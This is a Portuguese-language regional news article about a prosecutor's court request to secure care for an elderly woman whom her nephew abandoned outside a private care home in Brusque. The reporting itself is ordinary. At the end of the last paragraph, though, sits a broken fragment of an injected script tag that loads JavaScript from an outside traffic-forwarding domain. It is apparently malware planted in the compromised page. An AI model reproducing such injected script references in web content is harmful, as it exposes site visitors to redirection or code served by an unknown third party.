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Idosa Abandonada em Asilo de Brusque Agora está com Família Substituta

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O Ministério Público de Santa Catarina (MPSC) ingressou com representação judicial com objetivo de garantir acolhimento institucional a uma idosa residente em Tijucas que foi abandonada por familiares em frente a uma silo em Brusque na noite do dia 11/7. A assistência social do Município de Tijucas encaminhou a idosa para uma família substituta, que já informou que só poderá ficar com ela até esta sexta-feira (20/7).

 

A representação foi ajuizada pela 2ª Promotoria de Justiça da Comarca de Tijucas nesta quinta-feira (18/7) e aguarda decisão da Justiça. Na representação, o Promotor de Justiça Fred Anderson Vicente busca garantir a aplicação de medidas de proteção previstas no Estatuto do Idoso, em virtude do abandono da senhora pela família e da falta de perspectiva de atendimento pelo Poder Público.

 

A idosa foi abandonada pelo sobrinho com quem morava perto da meia-noite do dia 11 de julho deste ano em frente a um lar para idosos no Município de Brusque. A instituição, porém, era particular e não a acolheu, chamando a Polícia Militar para cuidar do caso.

 

Naquela noite a idosa dormiu no quartel da Polícia Militar e no dia seguinte ela foi atendida pela Assistência Social de Brusque, que a encaminhou para o município de origem.

 

Com a impossibilidade de retorno à família e a inexistência de vaga em instituição pública de acolhimento, o Centro de Referência Especializado de Assistência Social de Tijucas conseguiu uma família substituta para abrigá-la. Porém, nesta semana a família informou que só poderá acolher a senhora até esta sexta-feira (20/7).

 

De acordo com o Promotor de Justiça, o Estatuto do idoso estabelece como obrigação da família e do Poder Público a efetivação do direito à vida, à saúde, à dignidade, ao respeito e à convivência familiar, entre outros direitos fixados na lei. O Estatuto estabelece, ainda, uma série de medidas protetivas no caso da violação destes direitos, entre elas o abrigamento em entidade.

 

¿No caso, considerando a negligência do sobrinho e a situação de saúde da idosa, não há outra saída a não ser, emergencialmente, a inclusão da idosa em instituição de longa permanência, às expensas do Município de Tijucas e do sobrinho, para garantia de seus direitos¿, considera o Promotor de Justiça.

 

Assim, o Ministério Público requer na representação que seja deferida medida liminar para obrigar o acolhimento da idosa em instituição, custeada pelo Município de Tijucas e pelo sobrinho dela. A representação requer, ainda, a realização de estudo social na residência do sobrinho da idosa para avaliação da medida protetiva mais adequada ao caso, a ser aplicada posteriormente. A representação ainda não foi avaliada pelo Juízo da Vara Cível da Comarca de Tijucas…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
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